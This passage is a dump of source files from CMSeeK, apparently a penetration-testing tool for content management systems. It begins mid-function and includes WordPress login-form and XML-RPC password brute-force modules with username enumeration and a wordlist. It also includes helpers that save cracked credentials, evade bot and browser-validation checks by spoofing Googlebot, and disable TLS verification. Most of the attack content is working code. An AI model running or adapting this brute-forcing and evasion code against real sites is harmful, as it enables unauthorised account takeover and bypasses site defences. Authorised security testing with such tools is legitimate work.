passfound = '1' break else: continue break if passfound == '0': cmseek.error('\n\nCould Not find Password!') print('\n\n') else: cmseek.error("Couldn't find login form... CMSeeK is quitting") cmseek.handle_quit() CMSeeK-v.1.1.3/cmsbrute/wp.py000066400000000000000000000104011370665123600156600ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra ### WordPress Bruteforce module ### Version 1.0 ### cmseekbruteforcemodule <- make sure you include this comment in any custom modules you create so that cmseek can recognize it as a part of it's module import cmseekdb.basic as cmseek import cmseekdb.sc as source # Contains function to detect cms from source code import cmseekdb.header as header # Contains function to detect CMS from gathered http headers import deepscans.wp.userenum as wp_user_enum import multiprocessing ## Let's speed things up a lil bit (actually a hell lot faster) shell we? from functools import partial ## needed somewhere :/ import sys import cmseekdb.generator as generator def start(): cmseek.clearscreen() cmseek.banner("WordPress Bruteforce Module") url = cmseek.targetinp("") # input('Enter Url: ') cmseek.info("Checking for WordPress") bsrc = cmseek.getsource(url, cmseek.randomua('thiscanbeanythingasfarasnowletitbewhatilovethemost')) if bsrc[0] != '1': # print(bsrc[1]) cmseek.error("Could not get target source, CMSeek is quitting") cmseek.handle_quit() else: ## Parse generator meta tag parse_generator = generator.parse(bsrc[1]) ga = parse_generator[0] ga_content = parse_generator[1] try1 = generator.scan(ga_content) if try1[0] == '1' and try1[1] == 'wp': wpcnf = '1' else: try2 = source.check(bsrc[1], url) if try2[0] == '1' and try2[1] == 'wp': wpcnf = '1' else: wpcnf = '0' if wpcnf != '1': print(bsrc[1]) cmseek.error('Could not confirm WordPress... CMSeek is quitting') cmseek.handle_quit() else: cmseek.success("WordPress Confirmed... Checking for WordPress login form") wploginsrc = cmseek.getsource(url + '/wp-login.php', cmseek.randomua('thatsprettygay')) if wploginsrc[0] == '1' and ' " + cmseek.bold + user + cmseek.cln + "\n |\n |--[password]--> " + cmseek.bold + password + cmseek.cln + "\n |") cmseek.success('Enjoy The Hunt!') cmseek.savebrute(url,url + '/wp-login.php',user,password) passfound = '1' break else: continue break if passfound == '0': cmseek.error('\n\nCould Not find Password!') print('\n\n') else: cmseek.error("Couldn't find login form... CMSeeK is quitting") # print(wploginsrc[1]) cmseek.handle_quit() CMSeeK-v.1.1.3/cmsbrute/wpxmlrpc.py000066400000000000000000000113661370665123600171210ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra ### WordPress XML-RPC Bruteforce module ### Version 1.0 ### cmseekbruteforcemodule <- make sure you include this comment in any custom modules you create so that cmseek can recognize it as a part of it's module import cmseekdb.basic as cmseek import cmseekdb.sc as source # Contains function to detect cms from source code import cmseekdb.header as header # Contains function to detect CMS from gathered http headers import deepscans.wp.userenum as wp_user_enum import multiprocessing ## Let's speed things up a lil bit (actually a hell lot faster) shell we? from functools import partial ## needed somewhere :/ import sys import cmseekdb.generator as generator import requests def wpbrutexmlrpc(xmlrpcurl, user, password): postdata = 'wp.getUsersBlogs{}{}'.format(user, password) brute = requests.post(xmlrpcurl, data=postdata) try: if "isAdmin" in brute.text and "blogid" in brute.text: return True else: return False except: return False def start(): cmseek.clearscreen() cmseek.banner("WordPress XML-RPC Bruteforce Module") url = cmseek.targetinp("") # input('Enter Url: ') cmseek.info("Checking for WordPress") bsrc = cmseek.getsource(url, cmseek.randomua('thiscanbeanythingasfarasnowletitbewhatilovethemost')) if bsrc[0] != '1': # print(bsrc[1]) cmseek.error("Could not get target source, CMSeek is quitting") cmseek.handle_quit() else: ## Parse generator meta tag parse_generator = generator.parse(bsrc[1]) ga = parse_generator[0] ga_content = parse_generator[1] try1 = generator.scan(ga_content) if try1[0] == '1' and try1[1] == 'wp': wpcnf = '1' else: try2 = source.check(bsrc[1], url) if try2[0] == '1' and try2[1] == 'wp': wpcnf = '1' else: wpcnf = '0' if wpcnf != '1': print(bsrc[1]) cmseek.error('Could not confirm WordPress... CMSeek is quitting') cmseek.handle_quit() else: cmseek.success("WordPress Confirmed... validating xmlrpc interface") xmlrpcurl = url + '/xmlrpc.php' wploginsrc = cmseek.getsource(xmlrpcurl, cmseek.randomua('thatsprettygay')) if wploginsrc[1] == 'HTTP Error 405: Method Not Allowed': cmseek.success("Login form found.. Detecting Username For Bruteforce") wpparamuser = [] uenum = wp_user_enum.start('wp', url, cmseek.randomua('r'), '0', bsrc[1]) usernamesgen = uenum[0] wpparamuser = uenum[1] if wpparamuser == []: customuser = input("[~] CMSeek could not enumerate usernames, enter username if you know any: ") if customuser == "": cmseek.error("No user found, CMSeek is quitting") else: wpparamuser.append(customuser) wpbruteusers = set(wpparamuser) for user in wpbruteusers: passfound = '0' print('\n') cmseek.info("Bruteforcing User: " + cmseek.bold + user + cmseek.cln) pwd_file = open("wordlist/passwords.txt", "r") passwords = pwd_file.read().split('\n') passwords.insert(0, user) for password in passwords: if password != '' and password != '\n': sys.stdout.write('[*] Testing Password: ') sys.stdout.write('%s\r\r' % password) sys.stdout.flush() cursrc = wpbrutexmlrpc(xmlrpcurl, user, password) if cursrc: cmseek.success('Password found!') print(" |\n |--[username]--> " + cmseek.bold + user + cmseek.cln + "\n |\n |--[password]--> " + cmseek.bold + password + cmseek.cln + "\n |") cmseek.success('Enjoy The Hunt!') cmseek.savebrute(url,url + '/wp-login.php',user,password) passfound = '1' break else: continue break if passfound == '0': cmseek.error('\n\nCould Not find Password!') print('\n\n') else: cmseek.error("Couldn't find XML-RPC interface... CMSeeK is quitting") # print(wploginsrc[1]) cmseek.handle_quit() CMSeeK-v.1.1.3/cmseek.py000066400000000000000000000204451370665123600146660ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # Copyright (c) 2018 - 2020 Tuhinshubhra import sys ## for people who don't bother reading the readme :/ if sys.version_info[0] < 3: print("\nPython3 is needed to run CMSeeK, Try \"python3 cmseek.py\" instead\n") sys.exit(2) import os import argparse import json import importlib import cmseekdb.basic as cmseek # All the basic functions import cmseekdb.core as core import cmseekdb.createindex as createindex import ssl ssl._create_default_https_context = ssl._create_unverified_context parser = argparse.ArgumentParser(prog='cmseek.py',add_help=False) parser.add_argument('-h', '--help', action="store_true") parser.add_argument('-v', '--verbose', action="store_true") parser.add_argument("--version", action="store_true") parser.add_argument("--update", action="store_true") parser.add_argument('-r', "--random-agent", action="store_true") parser.add_argument('--user-agent') parser.add_argument('--googlebot', action="store_true") parser.add_argument('-u', '--url') parser.add_argument('-l', '--list') parser.add_argument('--clear-result', action='store_true') parser.add_argument('--follow-redirect', action='store_true') parser.add_argument('--no-redirect', action='store_true') parser.add_argument('--batch', action="store_true") parser.add_argument('-i', '--ignore-cms') parser.add_argument('--strict-cms') parser.add_argument('--skip-scanned', action="store_true") parser.add_argument('--light-scan', action="store_true") parser.add_argument('-o', '--only-cms', action="store_true") args = parser.parse_args() if args.clear_result: cmseek.clear_log() if args.help: cmseek.help() if args.light_scan: # Suggestion #99 cmseek.light_scan = True if args.only_cms: # Suggestion #99 cmseek.only_cms = True if args.verbose: cmseek.verbose = True if args.skip_scanned: cmseek.skip_scanned = True if args.follow_redirect: cmseek.redirect_conf = '1' if args.no_redirect: cmseek.redirect_conf = '2' if args.update: cmseek.update() if args.batch: #print('Batch true') cmseek.batch_mode = True print(cmseek.batch_mode) if args.version: print('\n\n') cmseek.info("CMSeeK Version: " + cmseek.cmseek_version) cmseek.bye() if args.ignore_cms: cmseek.ignore_cms = args.ignore_cms.split(',') for acms in cmseek.ignore_cms: cmseek.warning('Ignoring CMS: ' + acms) if args.strict_cms: cmseek.strict_cms = args.strict_cms.split(',') cmseek.warning('Checking target against CMSes: ' + args.strict_cms) if args.user_agent is not None: cua = args.user_agent elif args.random_agent is not None: cua = cmseek.randomua('random') else: cua = None if args.googlebot: cua = 'Googlebot/2.1 (+http://www.google.com/bot.html)' # Update report index index_status = createindex.init(cmseek.access_directory) if index_status[0] != '1': # might be too extreme # cmseek.handle_quit() if not cmseek.batch_mode: input('There was an error while creating result index! Some features might not work as intended. Press [ENTER] to continue:') if args.url is not None: s = args.url target = cmseek.process_url(s) if target != '0': if cua == None: cua = cmseek.randomua() core.main_proc(target,cua) cmseek.handle_quit() elif args.list is not None: sites = args.list cmseek.clearscreen() cmseek.banner("CMS Detection And Deep Scan") sites_list = [] try: ot = open(sites, 'r') file_contents = ot.read().replace('\n','') sites_list = file_contents.split(',') except FileNotFoundError: cmseek.error('Invalid path! CMSeeK is quitting') cmseek.bye() if sites_list != []: if cua == None: cua = cmseek.randomua() for s in sites_list: s = s.replace(' ', '') target = cmseek.process_url(s) if target != '0': core.main_proc(target,cua) cmseek.handle_quit(False) if not cmseek.batch_mode: input('\n\n\tPress ' + cmseek.bold + cmseek.fgreen + '[ENTER]' + cmseek.cln + ' to continue') # maybe a fix? idk else: print('\n') cmseek.warning('Invalid URL: ' + cmseek.bold + s + cmseek.cln + ' Skipping to next') print('\n') cmseek.result('Finished Scanning all targets.. result has been saved under respective target directories','') else: cmseek.error("No url provided... CMSeeK is exiting") cmseek.bye() ################################ ### THE MAIN MENU ### ################################ cmseek.clearscreen() cmseek.banner("Tip: You can use cmseek via arguments as well check the help menu for more information") print (" Input Description") print ("======= ==============================") print (" [1] CMS detection and Deep scan") print (" [2] Scan Multiple Sites") print (" [3] Bruteforce CMSs") print (" [U] Update CMSeeK") print (" [R] Rebuild Cache (Use only when you add any custom module)") print (" [0] Exit CMSeeK :( \n") selone = input("Enter Your Desired Option: ").lower() if selone == 'r': cmseek.update_brute_cache() elif selone == 'u': cmseek.update() elif selone == '0': cmseek.bye() elif selone == "1": # There goes the cms detection thingy cmseek.clearscreen() cmseek.banner("CMS Detection And Deep Scan") site = cmseek.targetinp("") # Get The User input if cua == None: cua = cmseek.randomua() core.main_proc(site,cua) cmseek.handle_quit() elif selone == '2': cmseek.clearscreen() cmseek.banner("CMS Detection And Deep Scan") sites_list = [] sites = input('Enter comma separated urls(http://1.com,https://2.org) or enter path of file containing URLs (comma separated): ') if 'http' not in sites or '://' not in sites: cmseek.info('Treating input as path') try: ot = open(sites, 'r') file_contents = ot.read().replace('\n','') sites_list = file_contents.split(',') except FileNotFoundError: cmseek.error('Invalid path! CMSeeK is quitting') cmseek.bye() else: cmseek.info('Treating input as URL list') sites_list = sites.split(',') if sites_list != []: if cua == None: cua = cmseek.randomua() for s in sites_list: s = s.replace(' ', '') target = cmseek.process_url(s) if target != '0': core.main_proc(target,cua) cmseek.handle_quit(False) if not cmseek.batch_mode: input('\n\n\tPress ' + cmseek.bold + cmseek.fgreen + '[ENTER]' + cmseek.cln + ' to continue') # maybe a fix? idk else: print('\n') cmseek.warning('Invalid URL: ' + cmseek.bold + s + cmseek.cln + ' Skipping to next') print('\n') cmseek.result('Finished Scanning all targets.. result has been saved under respective target directories','') else: cmseek.error("No url provided... CMSeeK is exiting") cmseek.bye() elif selone == "3": cmseek.clearscreen() cmseek.banner("CMS Bruteforce Module") ## I think this is a modular approch brute_dir = os.path.join(cmseek.cmseek_dir, 'cmsbrute') brute_cache = os.path.join(brute_dir, 'cache.json') if not os.path.isdir(brute_dir): cmseek.error("bruteforce directory missing! did you mess up with it? Anyways CMSeek is exiting") cmseek.bye() else: print ("[#] List of CMSs: \n") print (cmseek.bold) read_cache = open(brute_cache, 'r') b_cache = read_cache.read() cache = json.loads(b_cache) brute_list = [] for c in cache: brute_list.append(c) brute_list = sorted(brute_list) for i,x in enumerate(brute_list): n = x mod = "cmsbrute." + x exec(n + " = importlib.import_module(mod)") print('['+ str(i) +'] ' + cache[x]) print(cmseek.cln + '\n') cmstobrute = input('Select CMS: ') try: kek = brute_list[int(cmstobrute)] print(kek) cms_brute = getattr(locals().get(kek), 'start') cms_brute() except IndexError: cmseek.error('Invalid Input!') else: cmseek.error("Invalid Input!") cmseek.bye() CMSeeK-v.1.1.3/cmseekdb/000077500000000000000000000000001370665123600146155ustar00rootroot00000000000000CMSeeK-v.1.1.3/cmseekdb/__init__.py000066400000000000000000000000001370665123600167140ustar00rootroot00000000000000CMSeeK-v.1.1.3/cmseekdb/basic.py000066400000000000000000000601121370665123600162500ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # Thought this file was getting quite bloated so refectored it import errno import sys import os import random import shutil import signal import subprocess import urllib.request from http.cookiejar import CookieJar import json from datetime import datetime import time import re from cmseekdb.getsource import * from cmseekdb.config import * cmseek_dir = os.path.dirname(os.path.abspath(__file__)).replace('cmseekdb','')[:-1] total_requests = 0 cstart = time.time() redirect_conf = '0' # 0 = prompt for redirect, 1 = follow redirect, 2 = do not follow any redirect batch_mode = False # When set to true cmseek won't ask you to press enter after every site in a list is scanned ignore_cms = [] # add cms id that you want to skip strict_cms = [] # add cms ids that you want to detect.. no other cmses will be detected when any id is provided. report_index = {} # Contains previous scan results skip_scanned = False # When set to true CMSeeK witll ignore target whose CMS had been previously detected! light_scan = False # When enabled, we don't perform deep-scan only detect CMS and version. only_cms = False # When enabled, we just detect the CMS no version or deepscan is performed. # all the color codes goes here white = "\033[97m" black = "\033[30m\033[1m" yellow = "\033[93m" orange = "\033[38;5;208m" blue = "\033[34m" lblue = "\033[36m" cln = "\033[0m" green = "\033[92m" fgreen = "\033[32m" red = "\033[91m" magenta = "\033[35m" blackbg = "\033[100m" whitebg = "\033[107m" bluebg = "\033[44m" lbluebg = "\033[106m" greenbg = "\033[42m" lgreenbg = "\033[102m" yellowbg = "\033[43m" lyellowbg = "\033[103m" violetbg = "\033[48;5;129m" redbg = "\033[101m"; grey = "\033[37m"; cyan = "\033[36m"; bold = "\033[1m"; # access_directory if access_directory == "" or not os.path.exists(access_directory): # no custom path provided or the path provided is wrong! # show a warning if the case is wrong path if not os.path.exists(access_directory) and access_directory != "": if verbose: print(bold + yellow + "[!] " + cln + "Invalid access_directory! falling back to default") if os.access(cmseek_dir, os.W_OK): # use the parent CMSeeK directory if it is writeable access_directory = cmseek_dir else: if cmseek_dir == os.getcwd(): # current directory and cmseek directory are same and write access not available. show error if --batch is not used if not batch_mode: input(bold + red + "[x] " + "No write access in current directory, Reports will not be saved! [ENTER to continue]" + cln) access_directory = cmseek_dir else: # current directory is different access_directory = os.getcwd() def banner (txt): # The sexy banner!!! global cmseek_version print(bold + fgreen + """ {1} {5}___ _ _ {1}__{5}__ ____ {1}____{5} _ {1}_{5} | |{1}\/{5}| {1}[{5}__ {1}|{5}___ |{1}___{5} |{1}_{5}/ {0}by {4}@r3dhax0r{5} {1}|{5}_{1}__{5} | | ___{1}|{5} |{1}___{5} {1}|{5}___ {1}|{5} \{1}_{5} {2}Version {3}{1} K-RONA """.format(orange, lblue, yellow, cmseek_version, red, white)) if txt != "": print(whitebg + black + bold) print(" [+] " + txt + " [+] " + cln) else: print(cln + bold + lbluebg + black + " Author: " + cln + bold + " https://twitter.com/r3dhax0r" + blackbg + white + "\n GitHub: " + cln + bold + " https://github.com/Tuhinshubhra \n" + cln + '\n') print(cln) return def help(): # The help screen print( """ CMSeeK Version {0} Github: {4} Coded By:{1}{3} @r3dhax0r {2} USAGE: python3 cmseek.py (for guided scanning) OR python3 cmseek.py [OPTIONS] SPECIFING TARGET: -u URL, --url URL Target Url -l LIST, --list LIST Path of the file containing list of sites for multi-site scan (comma separated) MANIPULATING SCAN: -i cms, --ignore--cms cms Specify which CMS IDs to skip in order to avoid flase positive. separated by comma "," --strict-cms cms Checks target against a list of provided CMS IDs. separated by comma "," --skip-scanned Skips target if it's CMS was previously detected. --light-scan Skips Deep Scan. Does CMS and version detection only. -o, --only-cms Only detect CMS, ignore deep scan and version detection. RE-DIRECT: --follow-redirect Follows all/any redirect(s) --no-redirect Skips all redirects and tests the input target(s) USER AGENT: -r, --random-agent Use a random user agent --googlebot Use Google bot user agent --user-agent USER_AGENT Specify a custom user agent OUTPUT: -v, --verbose Increase output verbosity VERSION & UPDATING: --update Update CMSeeK (Requires git) --version Show CMSeeK version and exit HELP & MISCELLANEOUS: -h, --help Show this help message and exit --clear-result Delete all the scan result --batch Never ask you to press enter after every site in a list is scanned EXAMPLE USAGE: python3 cmseek.py -u example.com # Scan example.com python3 cmseek.py -l /home/user/target.txt # Scan the sites specified in target.txt (comma separated) python3 cmseek.py -u example.com --user-agent Mozilla 5.0 # Scan example.com using custom user-Agent Mozilla is 5.0 used here python3 cmseek.py -u example.com --random-agent # Scan example.com using a random user-Agent python3 cmseek.py -v -u example.com # enabling verbose output while scanning example.com """.format(cmseek_version,red, cln, bold, GIT_URL)) bye() def signal_handler(signal, frame): # Handle Ctrl+c handle_quit() signal.signal(signal.SIGINT, signal_handler) def clearscreen(): if os.name == 'nt': os.system('cls') # for mac and linux(here, os.name is 'posix') else: os.system('clear') def bye(): bye_dict = ["adios","adieu","addio","adeus","aloha","arrivederci","auf Wiedersehen","au revoir","sayonara","shalom","totsiens","vale","zaijian","Aabar dekha hobey","Fir milenge","Annyeong", "Ja mata ne", "До Встречи"] this_time = random.choice(bye_dict) print('\n' + bold + red + ' CMSeeK says ~ ' + this_time + cln) quit() def statement(msg): # Print only if verbose global verbose if verbose == True: print("[+] " + msg) def error(msg): print(bold + red + "[x] " + msg + cln) # switched to x from ❌ .. def warning(msg): print(bold + yellow + "[!] " + cln + msg) def info(msg): print(bold + lblue + "[i] " + cln + msg) def success(msg): print(bold + fgreen + "[*] " + cln + msg) def result(stm, msg): try: print(bold + fgreen + "[✔] " + stm + cln + msg) except UnicodeEncodeError: print(bold + fgreen + "[>] " + stm + cln + msg) def process_url(target): # Used to format the url for multiple site scan # 0 = invalid URL if target == "": return '0' elif "://" in target and "http" in target: target = target # if not target.endswith('/'): # if '.php' in target or '.html' in target or '.asp' in target or '.aspx' in target or '.htm' in target or '.py' in target or '.pl' in target: # target = target # else: # target = target + '/' else: target = 'http://' + target # if not target.endswith('/'): # if '.php' in target or '.html' in target or '.asp' in target or '.aspx' in target or '.htm' in target or '.py' in target or '.pl' in target: # target = target # else: # target = target + '/' init_result_dir(target) update_log('url', str(target)) return target def targetinp(iserr): # site url validator and stuff... if iserr != "": target = input(iserr + " : " + cln).lower() else: target = input("Enter target site (https://example.tld): ").lower() if "://" in target and "http" in target: if not target.endswith('/'): target = target + '/' init_result_dir(target) update_log('url', str(target)) return target else: return targetinp(red + "Invalid URL format, correct format (https://example.tld)") def init_result_dir(url): ### initiate log directory and stuffs ## trim the url to use as a suitable directory Name if "http://" in url: url = url.replace('http://', '') elif "https://" in url: url = url.replace('https://', '') else: print('wtf man did you forget to use the targetinp function!!!') if url.endswith('/'): # This seemed preety ugly to me tbh url = list(url) url[-1] = "" url = "".join(url) tor = {'/','!','?','#','@','&','%','\\','*', ':'} for r in tor: url = url.replace(r, '_') global access_directory result_dir = os.path.join(access_directory, "Result", url) json_log = os.path.join(result_dir, 'cms.json') ## check if the log directory exist if not os.path.isdir(result_dir): try: os.makedirs(result_dir) f = open(json_log,"w+") f.write("") f.close() # print('directory created') except OSError as exc: # Guard against race condition if exc.errno != errno.EEXIST: raise else: # Directory exists, check for json log if not os.path.isfile(json_log): f = open(json_log,"w+") f.write("") f.close() else: # read log and save it to a variable f = open(json_log,"r") log_cont = f.read() if log_cont != "": try: global log log = log_cont except ValueError: # invalid json file... clear it i guess f = open(json_log,"w+") f.write("") f.close() global log_dir log_dir = result_dir update_log('last_scanned', str(datetime.now())) def update_log(key, value, _isString=True): if key != "": global log a = json.loads(log) a[key] = str(value) if _isString else value log = json.JSONEncoder().encode(a) def clear_log(): # Clear Result directory global access_directory resdir = os.path.join(access_directory, 'Result') if os.path.isdir(resdir): shutil.rmtree(resdir) os.makedirs(resdir) success('Result directory cleared successfully!') bye() else: warning('Results directory not found!') bye() def handle_quit(end_prog = True): # in case of unwanted exit this function should take care of writing the json log global log_dir if log_dir != "": log_file = os.path.join(log_dir, 'cms.json') # print(log_file) global log f = open(log_file,"w+") json_l = json.loads(log) log_to_write = json.dumps(json_l, sort_keys=True, indent=4) f.write(log_to_write) # print('written: ' + log) f.close() print('\n') # info('Log saved in: ' + fgreen + bold + log_file + cln) if end_prog == True: bye() else: log = '{"url":"","last_scanned":"","detection_param":"","cms_id":"","cms_name":"","cms_url":""}' def update_brute_cache(): clearscreen() banner("Updating Bruteforce Cache") global cmseek_dir brute_dir = os.path.join(cmseek_dir, "cmsbrute") brute_cache = os.path.join(brute_dir, 'cache.json') cache_json = {} if not os.path.isdir(brute_dir): try: error('CMSeeK could not find the bruteforce directory, Creating Brute directory') os.makedirs(brute_dir) info('Bruteforce directory created, add some modules from: https://github.com/Tuhinshubhra/cmseek') bye() except OSError as exc: if exc.errno != errno.EEXIST: raise py_files = os.listdir(brute_dir) modules = [] modulen = [] for f in py_files: if f.endswith('.py') and f != '__init__.py': fo = open(os.path.join(brute_dir, f), 'r') mod_cnt = fo.read() if 'cmseekbruteforcemodule' in mod_cnt and 'Bruteforce module' in mod_cnt: n = [] n = re.findall(r'\# (.*?) Bruteforce module', mod_cnt) if n != [] and n[0] != "": modules.append(f) modulen.append(n[0]) if not modules == [] and modulen != []: info('Found ' + str(len(modules)) + ' modules.. Writting cache') for index,module in enumerate(modules): module = module.replace('.py','') cache_json[module] = modulen[index] tuh = open(brute_cache, 'w+') tuh.write(json.dumps(cache_json)) tuh.close() success('The following modules has been added to the cache: \n') for ma in cache_json: print('> ' + bold + ma + '.py ' + cln + '---> ' + bold + cache_json[ma] + cln + ' Bruteforce Module') print('\n') result('Cache Updated! Enjoy CMSeeK with new modules ;)','') else: warning('Could not find any modules! either there are no modules or someone messed with em!') bye() def update(): # Check For Update clearscreen() banner("Update Menu") global cmseek_version my_version = int(cmseek_version.replace('.','')) info("Checking for updates") get_version = getsource('https://raw.githubusercontent.com/Tuhinshubhra/CMSeeK/master/current_version',randomua('generate')) if get_version[0] != '1': error('Could not get latest version, Error: ' + get_version[1]) bye() else: latest_version = get_version[1].replace('\n','') serv_version = int(latest_version.replace('.','')) info("CMSeeK Version: " + cmseek_version) success("Latest Version: " + latest_version) if my_version > serv_version: print('\n') error("Either you or me (The Developer) messed things up.\n" + cln + "[↓] Download the proper version from: " + fgreen + bold + GIT_URL) elif my_version == serv_version: print('\n') result("CMSeeK is up to date, Thanks for checking update tho.. It's a good practise",'') else: print('\n') #success("Update available!") success("Update available!") update_me = input("[#] Do you want to update now? (y/n): ") if update_me.lower() == 'y': print(bold + fgreen + "[↓]" + cln + " Downloading Update...") succes = False try: global cmseek_dir lock_file = os.path.join(cmseek_dir, "/.git/index.lock") if os.path.isfile(lock_file): statement("Removing index.lock file from .git directory") # Solve the index.lock issue os.remove(lock_file) subprocess.run(("git checkout . && git pull %s HEAD") % GIT_URL, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) #os.system("git checkout . && git pull %s HEAD" % GIT_URL) vt = open('current_version', 'r') v_test = int(vt.read().replace('\n','').replace('.','')) # print(v_test) # print(serv_version) if v_test == serv_version: # Check if update successful succes = True except: print("Unexpected error:", sys.exc_info()[0]) raise error("Automatic Update Failed! Pleae download manually from: " + cln + GIT_URL) if succes == True: result("CMSeeK Updated To Latest Version! Enjoy", "") else: warning(bold + orange + "Update might be not successful.. Download manually from: " + cln + GIT_URL) else: print('\n') warning("Automatic Update Terminated!") info("Update Manually from: " + fgreen + bold + GIT_URL + cln) bye() def savebrute(url,adminurl,username,password): # write the results to a result file if url != "" and adminurl != "" and username != "" and password != "": global log_dir brute_file = os.path.join(log_dir, 'bruteforce_result_' + username + '_.txt') old_file = os.path.join(log_dir, 'bruteforce_result_' + username + '_.old.txt') brute_result = "### CMSeeK Bruteforce Result\n\n\nSite: " + url + "\n\nLogin URL: " + adminurl + "\n\nUsername: " + username + "\n\nPassword: " + password print('\n\n') # Pretty sloppy move there ;-; if not os.path.isfile(brute_file): # No previous bruteforce result file Found f = open(brute_file, 'w+') f.write(brute_result) f.close() success('Credentials stored at: ' + bold + brute_file + cln) else: os.rename(brute_file, old_file) info("Old result file found and moved to: " + old_file) f = open(brute_file, 'w+') f.write(brute_result) f.close() success('New credentials stored at: ' + bold + brute_file + cln) def getsource(url, ua): ''' (url, useragent) return type: [(0/1/2), (error/source code/error), (empty/http headers/empty)] ''' raw_source = getrawsource(url, ua) global total_requests total_requests += 1 if 'Please prove that you are human' in raw_source[1] or '?ckattempt=' in raw_source[1]: warning('Browser validation detected.. trying to evade...') ## This can be evaded by using googlebot as user agent so let's do that raw_source = getrawsource(url, 'Googlebot/2.1 (+http://www.google.com/bot.html)') ## final check.. if '?ckattempt=' in raw_source[1]: error('Failed to evade Browser validation, detection results might not be accurate!') return raw_source else: success('Browser validation successfully evaded..') return raw_source if 'src="/aes.js"' in raw_source[1] and '?i=1' in raw_source[1]: warning('Browser validation detected.. trying to evade...') ## This can be evaded by using googlebot as user agent so let's do that raw_source = getrawsource(url, 'Googlebot/2.1 (+http://www.google.com/bot.html)') ## final check.. if '?i=' in raw_source[1] and 'src="/aes.js"' in raw_source[1]: error('Failed to evade Browser validation, detection results might not be accurate!') return raw_source else: success('Browser validation successfully evaded..') return raw_source if raw_source[2] == '403': if 'Abuse: Your connection is not welcome due to: Bot UA' in raw_source[3] or 'Warning: 199' in raw_source[3]: warning('UA validation detected.. trying to evade...') raw_source = getrawsource(url, 'Googlebot/2.1 (+http://www.google.com/bot.html)') if 'Bot UA' in raw_source[2] and 'Warning: 199' in raw_source[2]: error('Failed to evade UA validation, detection results might not be accurate!') return raw_source else: success('UA validation successfully evaded..') return raw_source return raw_source def check_url(url,ua): global total_requests total_requests += 1 request = urllib.request.Request(url) request.add_header('User-Agent', ua) request.get_method = lambda: 'HEAD' try: urllib.request.urlopen(request) return '1' except urllib.request.HTTPError: return '0' def wpbrutesrc(url, user, pwd): redirecto = url + '/wp-admin/' url = url + '/wp-login.php' ua = randomua('generatenewuaeverytimetobesafeiguess') try: ckreq = urllib.request.Request( url, data=urllib.parse.urlencode({'log' : user, 'pwd' : pwd, 'wp-submit' : 'Log In', 'redirect_to' : redirecto}).encode("utf-8"), headers={ 'User-Agent': ua } ) with urllib.request.urlopen(ckreq, timeout=4) as response: scode = response.read().decode() headers = str(response.info()) rurl = response.geturl() r = ['1', scode, headers, rurl] ## 'success code', 'source code', 'http headers' return r except Exception as e: e = str(e) r = ['2', e, '', ''] ## 'error code', 'error message', 'empty' return r def randomua(rnd = None): # Randomized or User defined useragent a = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5","Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14","Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.27 (KHTML, like Gecko) Chrome/12.0.712.0 Safari/534.27","Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1","Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E)","Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1","Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.1","Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1","Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/12.0","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120427 Firefox/15.0a1","Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)","Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)","Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0)","Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00","Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5","Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.15 Safari/534.13","Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15","Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1","Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10","Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1","Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 